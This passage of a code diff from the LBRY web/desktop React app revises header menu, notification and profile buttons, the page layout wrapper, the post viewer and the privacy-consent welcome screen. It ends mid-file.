<Menu>
|
||||
<MenuButton
|
||||
aria-label={__('Publish a file, or create a channel')}
|
||||
title={__('Publish a file, or create a channel')}
|
||||
className="header__navigation-item menu__title header__navigation-item--icon mobile-hidden"
|
||||
// @if TARGET='app'
|
||||
onDoubleClick={(e) => {
|
||||
e.stopPropagation();
|
||||
}}
|
||||
// @endif
|
||||
>
|
||||
<Icon size={18} icon={ICONS.PUBLISH} aria-hidden />
|
||||
</MenuButton>
|
||||
|
||||
<MenuList className="menu__list--header">
|
||||
<MenuItem className="menu__link" onSelect={() => history.push(`/$/${PAGES.UPLOAD}`)}>
|
||||
<Icon aria-hidden icon={ICONS.PUBLISH} />
|
||||
{__('Upload')}
|
||||
</MenuItem>
|
||||
<MenuItem className="menu__link" onSelect={() => history.push(`/$/${PAGES.CHANNEL_NEW}`)}>
|
||||
<Icon aria-hidden icon={ICONS.CHANNEL} />
|
||||
{__('New Channel')}
|
||||
</MenuItem>
|
||||
</MenuList>
|
||||
</Menu>
|
||||
|
||||
{notificationsEnabled && <NotificationHeaderButton />}
|
||||
|
||||
<Menu>
|
||||
<MenuButton
|
||||
aria-label={__('Settings')}
|
||||
title={__('Settings')}
|
||||
className="header__navigation-item menu__title header__navigation-item--icon mobile-hidden"
|
||||
// @if TARGET='app'
|
||||
onDoubleClick={(e) => {
|
||||
e.stopPropagation();
|
||||
}}
|
||||
// @endif
|
||||
>
|
||||
<Icon size={18} icon={ICONS.SETTINGS} aria-hidden />
|
||||
</MenuButton>
|
||||
<MenuList className="menu__list--header">
|
||||
<MenuItem className="menu__link" onSelect={() => history.push(`/$/${PAGES.SETTINGS}`)}>
|
||||
<Icon aria-hidden tooltip icon={ICONS.SETTINGS} />
|
||||
{__('Settings')}
|
||||
</MenuItem>
|
||||
<MenuItem className="menu__link" onSelect={() => history.push(`/$/${PAGES.HELP}`)}>
|
||||
<Icon aria-hidden icon={ICONS.HELP} />
|
||||
{__('Help')}
|
||||
</MenuItem>
|
||||
<MenuItem className="menu__link" onSelect={handleThemeToggle}>
|
||||
<Icon icon={currentTheme === 'light' ? ICONS.DARK : ICONS.LIGHT} />
|
||||
{currentTheme === 'light' ? __('Dark') : __('Light')}
|
||||
</MenuItem>
|
||||
</MenuList>
|
||||
</Menu>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
export default withRouter(Header);
|
||||
@@ -1,24 +0,0 @@
|
||||
import { connect } from 'react-redux';
|
||||
import { doSetClientSetting } from 'redux/actions/settings';
|
||||
import { selectActiveChannelStakedLevel } from 'redux/selectors/app';
|
||||
import { selectClientSetting } from 'redux/selectors/settings';
|
||||
import * as SETTINGS from 'constants/settings';
|
||||
import HeaderMenuButtons from './view';
|
||||
import { selectUserVerifiedEmail, selectUser } from 'redux/selectors/user';
|
||||
|
||||
const select = (state) => ({
|
||||
activeChannelStakedLevel: selectActiveChannelStakedLevel(state),
|
||||
authenticated: selectUserVerifiedEmail(state),
|
||||
automaticDarkModeEnabled: selectClientSetting(state, SETTINGS.AUTOMATIC_DARK_MODE_ENABLED),
|
||||
currentTheme: selectClientSetting(state, SETTINGS.THEME),
|
||||
user: selectUser(state),
|
||||
});
|
||||
|
||||
const perform = (dispatch) => ({
|
||||
handleThemeToggle: (automaticDarkModeEnabled, currentTheme) => {
|
||||
if (automaticDarkModeEnabled) dispatch(doSetClientSetting(SETTINGS.AUTOMATIC_DARK_MODE_ENABLED, false));
|
||||
dispatch(doSetClientSetting(SETTINGS.THEME, currentTheme === 'dark' ? 'light' : 'dark', true));
|
||||
},
|
||||
});
|
||||
|
||||
export default connect(select, perform)(HeaderMenuButtons);
|
||||
@@ -1,63 +0,0 @@
|
||||
// @flow
|
||||
// import 'scss/component/_header.scss'; // ody codesplits this; no.
|
||||
|
||||
import { ENABLE_UI_NOTIFICATIONS } from 'config';
|
||||
import { Menu, MenuList, MenuButton, MenuItem } from '@reach/menu-button';
|
||||
import * as ICONS from 'constants/icons';
|
||||
import * as PAGES from 'constants/pages';
|
||||
import HeaderMenuLink from 'component/common/header-menu-link';
|
||||
import Icon from 'component/common/icon';
|
||||
import NotificationHeaderButton from 'component/headerNotificationButton';
|
||||
import React from 'react';
|
||||
import Tooltip from 'component/common/tooltip';
|
||||
|
||||
type HeaderMenuButtonProps = {
|
||||
authenticated: boolean,
|
||||
automaticDarkModeEnabled: boolean,
|
||||
currentTheme: string,
|
||||
user: ?User,
|
||||
handleThemeToggle: (boolean, string) => void,
|
||||
};
|
||||
|
||||
export default function HeaderMenuButtons(props: HeaderMenuButtonProps) {
|
||||
const { automaticDarkModeEnabled, currentTheme, user, handleThemeToggle } = props;
|
||||
|
||||
const notificationsEnabled = ENABLE_UI_NOTIFICATIONS || (user && user.experimental_ui);
|
||||
|
||||
return (
|
||||
<div className="header__buttons">
|
||||
<Menu>
|
||||
<Tooltip title={__('Publish a file, or create a channel')}>
|
||||
<MenuButton className="header__navigationItem--icon">
|
||||
<Icon size={18} icon={ICONS.PUBLISH} aria-hidden />
|
||||
</MenuButton>
|
||||
</Tooltip>
|
||||
|
||||
<MenuList className="menu__list--header">
|
||||
<HeaderMenuLink page={PAGES.UPLOAD} icon={ICONS.PUBLISH} name={__('Upload')} />
|
||||
<HeaderMenuLink page={PAGES.CHANNEL_NEW} icon={ICONS.CHANNEL} name={__('New Channel')} />
|
||||
</MenuList>
|
||||
</Menu>
|
||||
|
||||
{notificationsEnabled && <NotificationHeaderButton />}
|
||||
|
||||
<Menu>
|
||||
<Tooltip title={__('Settings')}>
|
||||
<MenuButton className="header__navigationItem--icon">
|
||||
<Icon size={18} icon={ICONS.SETTINGS} aria-hidden />
|
||||
</MenuButton>
|
||||
</Tooltip>
|
||||
|
||||
<MenuList className="menu__list--header">
|
||||
<HeaderMenuLink page={PAGES.SETTINGS} icon={ICONS.SETTINGS} name={__('Settings')} />
|
||||
<HeaderMenuLink page={PAGES.HELP} icon={ICONS.HELP} name={__('Help')} />
|
||||
|
||||
<MenuItem className="menu__link" onSelect={() => handleThemeToggle(automaticDarkModeEnabled, currentTheme)}>
|
||||
<Icon icon={currentTheme === 'light' ? ICONS.DARK : ICONS.LIGHT} />
|
||||
{currentTheme === 'light' ? __('Dark') : __('Light')}
|
||||
</MenuItem>
|
||||
</MenuList>
|
||||
</Menu>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -1,18 +0,0 @@
|
||||
import { connect } from 'react-redux';
|
||||
import { doOpenModal } from 'redux/actions/app';
|
||||
import { selectActiveChannelClaim } from 'redux/selectors/app';
|
||||
import { selectUserEmail, selectUserVerifiedEmail } from 'redux/selectors/user';
|
||||
import * as MODALS from 'constants/modal_types';
|
||||
import HeaderProfileMenuButton from './view';
|
||||
|
||||
const select = (state) => ({
|
||||
activeChannelClaim: selectActiveChannelClaim(state),
|
||||
email: selectUserEmail(state),
|
||||
authenticated: selectUserVerifiedEmail(state),
|
||||
});
|
||||
|
||||
const perform = (dispatch) => ({
|
||||
openSignOutModal: () => dispatch(doOpenModal(MODALS.SIGN_OUT)),
|
||||
});
|
||||
|
||||
export default connect(select, perform)(HeaderProfileMenuButton);
|
||||
@@ -1,67 +0,0 @@
|
||||
// @flow
|
||||
|
||||
import { Menu, MenuList, MenuButton, MenuItem } from '@reach/menu-button';
|
||||
import * as ICONS from 'constants/icons';
|
||||
import * as PAGES from 'constants/pages';
|
||||
import ChannelThumbnail from 'component/channelThumbnail';
|
||||
import classnames from 'classnames';
|
||||
import HeaderMenuLink from 'component/common/header-menu-link';
|
||||
import Icon from 'component/common/icon';
|
||||
import React from 'react';
|
||||
import Skeleton from '@mui/material/Skeleton';
|
||||
|
||||
type HeaderMenuButtonProps = {
|
||||
activeChannelClaim: ?ChannelClaim,
|
||||
email: ?string,
|
||||
authenticated: boolean,
|
||||
openSignOutModal: () => void,
|
||||
};
|
||||
|
||||
export default function HeaderProfileMenuButton(props: HeaderMenuButtonProps) {
|
||||
const { activeChannelClaim, email, openSignOutModal, authenticated } = props;
|
||||
|
||||
const activeChannelUrl = activeChannelClaim && activeChannelClaim.permanent_url;
|
||||
|
||||
return (
|
||||
<div className="header__buttons">
|
||||
<Menu>
|
||||
{activeChannelUrl === undefined ? (
|
||||
<Skeleton variant="circular" animation="wave" className="header__navigationItem--iconSkeleton" />
|
||||
) : (
|
||||
<MenuButton
|
||||
aria-label={__('Your account')}
|
||||
title={__('Your account')}
|
||||
className={classnames('header__navigationItem', {
|
||||
'header__navigationItem--icon': !activeChannelUrl,
|
||||
'header__navigationItem--profilePic': activeChannelUrl,
|
||||
})}
|
||||
>
|
||||
{activeChannelUrl ? (
|
||||
<ChannelThumbnail uri={activeChannelUrl} small noLazyLoad />
|
||||
) : (
|
||||
<Icon size={18} icon={ICONS.ACCOUNT} aria-hidden />
|
||||
)}
|
||||
</MenuButton>
|
||||
)}
|
||||
|
||||
<MenuList className="menu__list--header">
|
||||
<HeaderMenuLink page={PAGES.UPLOADS} icon={ICONS.PUBLISH} name={__('Uploads')} />
|
||||
<HeaderMenuLink page={PAGES.CHANNELS} icon={ICONS.CHANNEL} name={__('Channels')} />
|
||||
<HeaderMenuLink page={PAGES.CREATOR_DASHBOARD} icon={ICONS.ANALYTICS} name={__('Creator Analytics')} />
|
||||
|
||||
{authenticated ? (
|
||||
<MenuItem onSelect={openSignOutModal}>
|
||||
<div className="menu__link">
|
||||
<Icon aria-hidden icon={ICONS.SIGN_OUT} />
|
||||
{__('Sign Out')}
|
||||
</div>
|
||||
<span className="menu__link-help">{email}</span>
|
||||
</MenuItem>
|
||||
) : (
|
||||
<HeaderMenuLink page={PAGES.AUTH_SIGNIN} icon={ICONS.SIGN_IN} name={__('Cloud Connect')} />
|
||||
)}
|
||||
</MenuList>
|
||||
</Menu>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -90,7 +90,7 @@ function MarkdownLink(props: Props) {
|
||||
className="button--external-link"
|
||||
onClick={() => {
|
||||
if (window.player) {
|
||||
window.player.currentTime(parseInt(href.slice(3)));
|
||||
window.player.currentTime(parseInt(href.substr(3)));
|
||||
window.scrollTo(0, 0);
|
||||
}
|
||||
}}
|
||||
|
||||
+8
-2
@@ -1,10 +1,16 @@
|
||||
import { connect } from 'react-redux';
|
||||
import { selectUnseenNotificationCount } from 'redux/selectors/notifications';
|
||||
import {
|
||||
selectNotifications,
|
||||
selectIsFetchingNotifications,
|
||||
selectUnseenNotificationCount,
|
||||
} from 'redux/selectors/notifications';
|
||||
import { doSeeAllNotifications } from 'redux/actions/notifications';
|
||||
import { selectUser } from 'redux/selectors/user';
|
||||
import NotificationHeaderButton from './view';
|
||||
|
||||
const select = (state) => ({
|
||||
const select = state => ({
|
||||
notifications: selectNotifications(state),
|
||||
fetching: selectIsFetchingNotifications(state),
|
||||
unseenCount: selectUnseenNotificationCount(state),
|
||||
user: selectUser(state),
|
||||
});
|
||||
+30
-20
@@ -1,41 +1,51 @@
|
||||
// @flow
|
||||
// import 'scss/component/_header.scss'; // ody codesplits this; no. REMOVE THESE
|
||||
|
||||
import { ENABLE_UI_NOTIFICATIONS } from 'config';
|
||||
import { useHistory } from 'react-router';
|
||||
import * as ICONS from 'constants/icons';
|
||||
import * as PAGES from 'constants/pages';
|
||||
import Button from 'component/button';
|
||||
import * as ICONS from 'constants/icons';
|
||||
import React from 'react';
|
||||
import Icon from 'component/common/icon';
|
||||
import NotificationBubble from 'component/notificationBubble';
|
||||
import React from 'react';
|
||||
import Tooltip from 'component/common/tooltip';
|
||||
import Button from 'component/button';
|
||||
import { useHistory } from 'react-router';
|
||||
import { ENABLE_UI_NOTIFICATIONS } from 'config';
|
||||
|
||||
type Props = {
|
||||
unseenCount: number,
|
||||
user: ?User,
|
||||
doSeeAllNotifications: () => void,
|
||||
user: ?User,
|
||||
};
|
||||
|
||||
export default function NotificationHeaderButton(props: Props) {
|
||||
const { unseenCount, user, doSeeAllNotifications } = props;
|
||||
|
||||
const { push } = useHistory();
|
||||
const {
|
||||
unseenCount,
|
||||
// notifications,
|
||||
// fetching,
|
||||
doSeeAllNotifications,
|
||||
user,
|
||||
} = props;
|
||||
const notificationsEnabled = ENABLE_UI_NOTIFICATIONS || (user && user.experimental_ui);
|
||||
const { push } = useHistory();
|
||||
|
||||
function handleMenuClick() {
|
||||
if (unseenCount > 0) doSeeAllNotifications();
|
||||
if (unseenCount > 0) {
|
||||
doSeeAllNotifications();
|
||||
}
|
||||
|
||||
push(`/$/${PAGES.NOTIFICATIONS}`);
|
||||
}
|
||||
|
||||
if (!notificationsEnabled) return null;
|
||||
if (!notificationsEnabled) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return (
|
||||
<Tooltip title={__('Notifications')}>
|
||||
<Button onClick={handleMenuClick} className="header__navigationItem--icon">
|
||||
<Icon size={18} icon={ICONS.NOTIFICATION} aria-hidden />
|
||||
<NotificationBubble />
|
||||
</Button>
|
||||
</Tooltip>
|
||||
<Button
|
||||
onClick={handleMenuClick}
|
||||
aria-label={__('Notifications')}
|
||||
title={__('Notifications')}
|
||||
className="header__navigation-item menu__title header__navigation-item--icon mobile-hidden"
|
||||
>
|
||||
<Icon size={18} icon={ICONS.NOTIFICATION} aria-hidden />
|
||||
<NotificationBubble />
|
||||
</Button>
|
||||
);
|
||||
}
|
||||
+72
-71
@@ -1,85 +1,104 @@
|
||||
// @flow
|
||||
import { MAIN_CLASS } from 'constants/classnames';
|
||||
import { parseURI } from 'util/lbryURI';
|
||||
import type { Node } from 'react';
|
||||
import React, { Fragment } from 'react';
|
||||
import classnames from 'classnames';
|
||||
import SideNavigation from 'component/sideNavigation';
|
||||
import SettingsSideNavigation from 'component/settingsSideNavigation';
|
||||
import Header from 'component/header';
|
||||
/* @if TARGET='app' */
|
||||
import StatusBar from 'component/common/status-bar';
|
||||
/* @endif */
|
||||
import usePersistedState from 'effects/use-persisted-state';
|
||||
import { useHistory } from 'react-router';
|
||||
import { useIsMobile, useIsMediumScreen } from 'effects/use-screensize';
|
||||
import classnames from 'classnames';
|
||||
import Header from 'component/header';
|
||||
import React from 'react';
|
||||
import Wallpaper from 'component/wallpaper';
|
||||
import SettingsSideNavigation from 'component/settingsSideNavigation';
|
||||
import SideNavigation from 'component/sideNavigation';
|
||||
import StatusBar from 'component/common/status-bar';
|
||||
import usePersistedState from 'effects/use-persisted-state';
|
||||
import type { Element, Node } from 'react';
|
||||
import { parseURI } from 'util/lbryURI';
|
||||
|
||||
import { MAIN_CLASS } from 'constants/classnames';
|
||||
type Props = {
|
||||
children: Node | Array<Node>,
|
||||
className: ?string,
|
||||
autoUpdateDownloaded: boolean,
|
||||
isUpgradeAvailable: boolean,
|
||||
authPage: boolean,
|
||||
filePage: boolean,
|
||||
settingsPage?: boolean,
|
||||
noHeader: boolean,
|
||||
noFooter: boolean,
|
||||
noSideNavigation: boolean,
|
||||
fullWidthPage: boolean,
|
||||
videoTheaterMode: boolean,
|
||||
isMarkdown?: boolean,
|
||||
chatDisabled: boolean,
|
||||
rightSide?: Node,
|
||||
backout: {
|
||||
backLabel?: string,
|
||||
backNavDefault?: string,
|
||||
title: string,
|
||||
simpleTitle: string, // Just use the same value as `title` if `title` is already short (~< 10 chars), unless you have a better idea for title overlfow on mobile
|
||||
},
|
||||
children: Node | Array<Node>,
|
||||
className: ?string,
|
||||
filePage: boolean,
|
||||
fullWidthPage: boolean,
|
||||
isMarkdown?: boolean,
|
||||
noHeader: boolean,
|
||||
noSideNavigation: boolean,
|
||||
rightSide?: Element<any>,
|
||||
settingsPage?: boolean,
|
||||
videoTheaterMode: boolean,
|
||||
};
|
||||
|
||||
function Page(props: Props) {
|
||||
const {
|
||||
authPage = false,
|
||||
backout,
|
||||
children,
|
||||
className,
|
||||
filePage = false,
|
||||
settingsPage,
|
||||
authPage = false,
|
||||
fullWidthPage = false,
|
||||
isMarkdown = false,
|
||||
noHeader = false,
|
||||
noSideNavigation = false,
|
||||
rightSide,
|
||||
settingsPage,
|
||||
backout,
|
||||
videoTheaterMode,
|
||||
isMarkdown = false,
|
||||
rightSide,
|
||||
} = props;
|
||||
|
||||
const {
|
||||
location: { pathname },
|
||||
} = useHistory();
|
||||
|
||||
const [sidebarOpen, setSidebarOpen] = usePersistedState('sidebar', false);
|
||||
const isMediumScreen = useIsMediumScreen();
|
||||
const isMobile = useIsMobile();
|
||||
const [sidebarOpen, setSidebarOpen] = usePersistedState('sidebar', false);
|
||||
|
||||
const url = pathname.slice(1).replace(/:/g, '#');
|
||||
let isOnFilePage = false;
|
||||
try {
|
||||
const url = pathname.slice(1).replace(/:/g, '#');
|
||||
const { isChannel } = parseURI(url);
|
||||
|
||||
if (!isChannel) isOnFilePage = true;
|
||||
if (!isChannel) {
|
||||
isOnFilePage = true;
|
||||
}
|
||||
} catch (e) {}
|
||||
|
||||
const isAbsoluteSideNavHidden = (isOnFilePage || isMobile) && !sidebarOpen;
|
||||
|
||||
React.useEffect(() => {
|
||||
if (isOnFilePage || isMediumScreen) setSidebarOpen(false);
|
||||
function getSideNavElem() {
|
||||
if (!authPage) {
|
||||
if (settingsPage) {
|
||||
return <SettingsSideNavigation />;
|
||||
} else if (!noSideNavigation) {
|
||||
return (
|
||||
<SideNavigation
|
||||
sidebarOpen={sidebarOpen}
|
||||
setSidebarOpen={setSidebarOpen}
|
||||
isMediumScreen={isMediumScreen}
|
||||
isOnFilePage={isOnFilePage}
|
||||
/>
|
||||
);
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
React.useEffect(() => {
|
||||
if (isOnFilePage || isMediumScreen) {
|
||||
setSidebarOpen(false);
|
||||
}
|
||||
// TODO: make sure setState callback for usePersistedState uses useCallback to it doesn't cause effect to re-run
|
||||
// eslint-disable-next-line react-hooks/exhaustive-deps
|
||||
}, [isOnFilePage, isMediumScreen]);
|
||||
|
||||
return (
|
||||
<>
|
||||
<Wallpaper uri={url} />
|
||||
<Fragment>
|
||||
{!noHeader && (
|
||||
<Header
|
||||
authHeader={authPage}
|
||||
@@ -95,46 +114,28 @@ function Page(props: Props) {
|
||||
'main-wrapper__inner--theater-mode': isOnFilePage && videoTheaterMode,
|
||||
})}
|
||||
>
|
||||
{!authPage &&
|
||||
(settingsPage ? (
|
||||
<SettingsSideNavigation />
|
||||
) : (
|
||||
!noSideNavigation && (
|
||||
<SideNavigation
|
||||
sidebarOpen={sidebarOpen}
|
||||
setSidebarOpen={setSidebarOpen}
|
||||
isMediumScreen={isMediumScreen}
|
||||
isOnFilePage={isOnFilePage}
|
||||
/>
|
||||
)
|
||||
))}
|
||||
{getSideNavElem()}
|
||||
|
||||
<div
|
||||
className={classnames({
|
||||
'sidebar--pusher': fullWidthPage,
|
||||
'sidebar--pusher--open': sidebarOpen && fullWidthPage,
|
||||
'sidebar--pusher--filepage': !fullWidthPage,
|
||||
<main
|
||||
id={'main-content'}
|
||||
className={classnames(MAIN_CLASS, className, {
|
||||
'main--full-width': fullWidthPage,
|
||||
'main--auth-page': authPage,
|
||||
'main--file-page': filePage,
|
||||
'main--settings-page': settingsPage,
|
||||
'main--markdown': isMarkdown,
|
||||
'main--theater-mode': isOnFilePage && videoTheaterMode,
|
||||
})}
|
||||
>
|
||||
<main
|
||||
id={'main-content'}
|
||||
className={classnames(MAIN_CLASS, className, {
|
||||
'main--full-width': fullWidthPage,
|
||||
'main--auth-page': authPage,
|
||||
'main--file-page': filePage,
|
||||
'main--settings-page': settingsPage,
|
||||
'main--markdown': isMarkdown,
|
||||
'main--theater-mode': isOnFilePage && videoTheaterMode && !isMarkdown,
|
||||
})}
|
||||
>
|
||||
{children}
|
||||
{children}
|
||||
|
||||
{!isMobile && rightSide && <div className="main__right-side">{rightSide}</div>}
|
||||
</main>
|
||||
<StatusBar />
|
||||
</div>
|
||||
{!isMobile && rightSide && <div className="main__right-side">{rightSide}</div>}
|
||||
</main>
|
||||
{/* @if TARGET='app' */}
|
||||
<StatusBar />
|
||||
{/* @endif */}
|
||||
</div>
|
||||
</>
|
||||
</Fragment>
|
||||
);
|
||||
}
|
||||
|
||||
|
||||
@@ -52,16 +52,17 @@ function PostViewer(props: Props) {
|
||||
|
||||
return (
|
||||
<div className="post">
|
||||
<FileTitle uri={uri} className="post__title" />
|
||||
<FileTitle uri={uri} className="post__title">
|
||||
<span className="post__date">
|
||||
<DateTime uri={uri} show={DateTime.SHOW_DATE} />
|
||||
</span>
|
||||
</FileTitle>
|
||||
|
||||
<div
|
||||
className={classnames('post__info', {
|
||||
'post__info--expanded': expand !== EXPAND.NONE,
|
||||
})}
|
||||
>
|
||||
<span className="post__date">
|
||||
<DateTime uri={uri} type="date" />
|
||||
<FileViewCount uri={uri} />
|
||||
</span>
|
||||
<div className="post__info--grouped">
|
||||
<Button
|
||||
button="link"
|
||||
@@ -85,6 +86,7 @@ function PostViewer(props: Props) {
|
||||
/>
|
||||
)}
|
||||
</div>
|
||||
<FileViewCount uri={uri} />
|
||||
</div>
|
||||
|
||||
{expand === EXPAND.CREDIT_DETAILS && (
|
||||
|
||||
@@ -1,8 +1,9 @@
|
||||
import { DOMAIN } from 'config';
|
||||
import { connect } from 'react-redux';
|
||||
import { doSetDaemonSetting } from 'redux/actions/settings';
|
||||
import { doSignOut } from 'redux/actions/app';
|
||||
import { doSetWelcomeVersion, doToggle3PAnalytics, doSignOut } from 'redux/actions/app';
|
||||
import * as DAEMON_SETTINGS from 'constants/daemon_settings';
|
||||
import { WELCOME_VERSION } from 'config.js';
|
||||
import { selectUserVerifiedEmail } from 'redux/selectors/user';
|
||||
import { doAuthenticate } from 'redux/actions/user';
|
||||
import { version as appVersion } from 'package.json';
|
||||
@@ -14,7 +15,9 @@ const select = (state) => ({
|
||||
});
|
||||
|
||||
const perform = (dispatch) => ({
|
||||
setWelcomeVersion: (version) => dispatch(doSetWelcomeVersion(version || WELCOME_VERSION)),
|
||||
setShareDataInternal: (share) => dispatch(doSetDaemonSetting(DAEMON_SETTINGS.SHARE_USAGE_DATA, share)),
|
||||
setShareDataThirdParty: (share) => dispatch(doToggle3PAnalytics(share)),
|
||||
signOut: () => dispatch(doSignOut()),
|
||||
authenticateIfSharingData: () =>
|
||||
dispatch(doAuthenticate(appVersion, undefined, undefined, true, undefined, undefined, DOMAIN)),
|
||||
|
||||
@@ -6,107 +6,175 @@ import { FormField } from 'component/common/form-components/form-field';
|
||||
import { Form } from 'component/common/form-components/form';
|
||||
import { withRouter } from 'react-router-dom';
|
||||
// $FlowFixMe cannot resolve ...
|
||||
import image from 'static/img/yrblsec.svg';
|
||||
import image from 'static/img/unlocklbry.svg';
|
||||
import { WELCOME_VERSION } from 'config';
|
||||
|
||||
const FREE = 'free';
|
||||
const LIMITED = 'limited';
|
||||
const NONE = 'none';
|
||||
|
||||
type Props = {
|
||||
setWelcomeVersion: (number) => void,
|
||||
signOut: () => void,
|
||||
setShareDataInternal: (boolean) => void,
|
||||
setShareDataThirdParty: (boolean) => void,
|
||||
history: { replace: (string) => void },
|
||||
authenticated: boolean,
|
||||
authenticateIfSharingData: () => void,
|
||||
handleNextPage: () => void,
|
||||
};
|
||||
|
||||
function PrivacyAgreement(props: Props) {
|
||||
const { setShareDataInternal, authenticated, signOut, authenticateIfSharingData, handleNextPage } = props;
|
||||
const {
|
||||
setWelcomeVersion,
|
||||
setShareDataInternal,
|
||||
setShareDataThirdParty,
|
||||
history,
|
||||
authenticated,
|
||||
signOut,
|
||||
authenticateIfSharingData,
|
||||
} = props;
|
||||
const [share, setShare] = useState(undefined); // preload
|
||||
const [agree, setAgree] = useState(false); // preload
|
||||
|
||||
function handleSubmit() {
|
||||
if (share === LIMITED) {
|
||||
if (share === FREE) {
|
||||
setShareDataInternal(true);
|
||||
setShareDataThirdParty(true);
|
||||
} else if (share === LIMITED) {
|
||||
setShareDataInternal(true);
|
||||
setShareDataThirdParty(false);
|
||||
} else {
|
||||
setShareDataInternal(false);
|
||||
setShareDataThirdParty(false);
|
||||
}
|
||||
|
||||
if (share === LIMITED) {
|
||||
if (share === FREE || share === LIMITED) {
|
||||
authenticateIfSharingData();
|
||||
}
|
||||
|
||||
handleNextPage();
|
||||
setWelcomeVersion(WELCOME_VERSION);
|
||||
history.replace(`/`);
|
||||
}
|
||||
|
||||
return (
|
||||
<section className="main--contained">
|
||||
<div className={'columns first-run__wrapper'}>
|
||||
<div className={'first-run__left'}>
|
||||
<div>
|
||||
<h1 className="section__title--large">{__('Privacy')}</h1>
|
||||
<h3 className="section__subtitle">
|
||||
{__(
|
||||
`LBRY takes privacy and choice seriously. Is it ok if we monitor performance and help creators track their views?`
|
||||
)}
|
||||
</h3>
|
||||
</div>
|
||||
<Form onSubmit={handleSubmit} className="section__body">
|
||||
<fieldset>
|
||||
<FormField
|
||||
name={'shareWithLBRY'}
|
||||
type="radio"
|
||||
checked={share === LIMITED}
|
||||
label={
|
||||
<>
|
||||
{__('Yes, share with LBRY')} <span>🙂</span>
|
||||
</>
|
||||
}
|
||||
onChange={(e) => setShare(LIMITED)}
|
||||
/>
|
||||
<FormField
|
||||
disabled={authenticated}
|
||||
name={'shareNot'}
|
||||
type="radio"
|
||||
checked={share === NONE}
|
||||
label={
|
||||
<>
|
||||
{__('No')} <span>😢</span>
|
||||
</>
|
||||
}
|
||||
helper={__(`* Note that as
|
||||
peer-to-peer software, your IP address and potentially other system information can be sent to other
|
||||
users, though this information is not stored permanently.`)}
|
||||
onChange={(e) => setShare(NONE)}
|
||||
/>
|
||||
{authenticated && (
|
||||
<div className="card--inline section--padded">
|
||||
<p className="help--inline">
|
||||
<I18nMessage
|
||||
tokens={{
|
||||
signout_button: <Button button="link" label={__('Sign Out')} onClick={signOut} />,
|
||||
}}
|
||||
>
|
||||
You are signed in and sharing data with your cloud service provider. %signout_button%.
|
||||
</I18nMessage>
|
||||
</p>
|
||||
</div>
|
||||
)}
|
||||
</fieldset>
|
||||
<div className={'card__actions'}>
|
||||
<Button button="primary" label={__(`Let's go`)} disabled={!share} type="submit" />
|
||||
</div>
|
||||
{share === NONE && (
|
||||
<p className="help">
|
||||
{__(
|
||||
'While we respect the desire for maximally private usage, please note that choosing this option hurts the ability for creators to understand how their content is performing.'
|
||||
)}
|
||||
</p>
|
||||
<div className={'columns'}>
|
||||
<div>
|
||||
<h1 className="section__title--large">{__('Welcome')}</h1>
|
||||
<h3 className="section__subtitle">
|
||||
{__(
|
||||
`LBRY takes privacy and choice seriously. Just a few questions before you enter the land of content freedom.`
|
||||
)}
|
||||
</Form>
|
||||
</h3>
|
||||
</div>
|
||||
<div className={'first-run__image-wrapper'}>
|
||||
<div>
|
||||
<img src={image} className="privacy-img" />
|
||||
</div>
|
||||
</div>
|
||||
<hr />
|
||||
<p className="section__body section__subtitle">
|
||||
{__('Can this app send information about your usage to inform publishers and improve the software?')}
|
||||
</p>
|
||||
<Form onSubmit={handleSubmit} className="section__body">
|
||||
<fieldset>
|
||||
<FormField
|
||||
name={'shareFreely'}
|
||||
type="radio"
|
||||
label={
|
||||
<>
|
||||
{__('Yes, including with third-party analytics platforms')} <span>😄</span>
|
||||
</>
|
||||
}
|
||||
helper={__(`Sending information to third parties (e.g. Google Analytics or Mixpanel) allows us to use detailed
|
||||
analytical reports to improve all aspects of LBRY.`)}
|
||||
checked={share === FREE}
|
||||
onChange={(e) => setShare(FREE)}
|
||||
/>
|
||||
<FormField
|
||||
name={'shareWithLBRY'}
|
||||
type="radio"
|
||||
checked={share === LIMITED}
|
||||
label={
|
||||
<>
|
||||
{__('Yes, but only with LBRY, Inc.')} <span>🙂</span>
|
||||
</>
|
||||
}
|
||||
helper={__(
|
||||
`Sharing information with LBRY, Inc. allows us to report to publishers how their content is doing, as
|
||||
well as track basic usage and performance. This is the minimum required to earn rewards from LBRY, Inc.`
|
||||
)}
|
||||
onChange={(e) => setShare(LIMITED)}
|
||||
/>
|
||||
<FormField
|
||||
disabled={authenticated}
|
||||
name={'shareNot'}
|
||||
type="radio"
|
||||
checked={share === NONE}
|
||||
label={
|
||||
<>
|
||||
{__('No')} <span>😢</span>
|
||||
</>
|
||||
}
|
||||
helper={__(`No information will be sent directly to LBRY, Inc. or third-parties about your usage. Note that as
|
||||
peer-to-peer software, your IP address and potentially other system information can be sent to other
|
||||
users, though this information is not stored permanently.`)}
|
||||
onChange={(e) => setShare(NONE)}
|
||||
/>
|
||||
{authenticated && (
|
||||
<div className="card--inline section--padded">
|
||||
<p className="help--inline">
|
||||
<I18nMessage
|
||||
tokens={{
|
||||
signout_button: <Button button="link" label={__('Sign Out')} onClick={signOut} />,
|
||||
}}
|
||||
>
|
||||
You are signed in and sharing data with your cloud service provider. %signout_button%.
|
||||
</I18nMessage>
|
||||
</p>
|
||||
</div>
|
||||
)}
|
||||
</fieldset>
|
||||
|
||||
<div className="section__body">
|
||||
<p className="section__subtitle">
|
||||
<I18nMessage
|
||||
tokens={{
|
||||
terms: (
|
||||
<Button button="link" href="https://www.lbry.com/termsofservice" label={__('Terms of Service')} />
|
||||
),
|
||||
}}
|
||||
>
|
||||
Do you agree to the %terms%?
|
||||
</I18nMessage>
|
||||
</p>
|
||||
<fieldset>
|
||||
<FormField
|
||||
name={'agreeButton'}
|
||||
type="radio"
|
||||
label={'Yes'}
|
||||
checked={agree === true}
|
||||
onChange={(e) => setAgree(e.target.checked)}
|
||||
/>
|
||||
<FormField
|
||||
name={'disagreeButton'}
|
||||
type="radio"
|
||||
checked={agree === false}
|
||||
label={__('No')}
|
||||
onChange={(e) => setAgree(!e.target.checked)}
|
||||
/>
|
||||
</fieldset>
|
||||
</div>
|
||||
<div className={'card__actions'}>
|
||||
<Button button="primary" label={__(`Let's go`)} disabled={!share || !agree} type="submit" />
|
||||
</div>
|
||||
{share === NONE && (
|
||||
<p className="help">
|
||||
{__(
|
||||
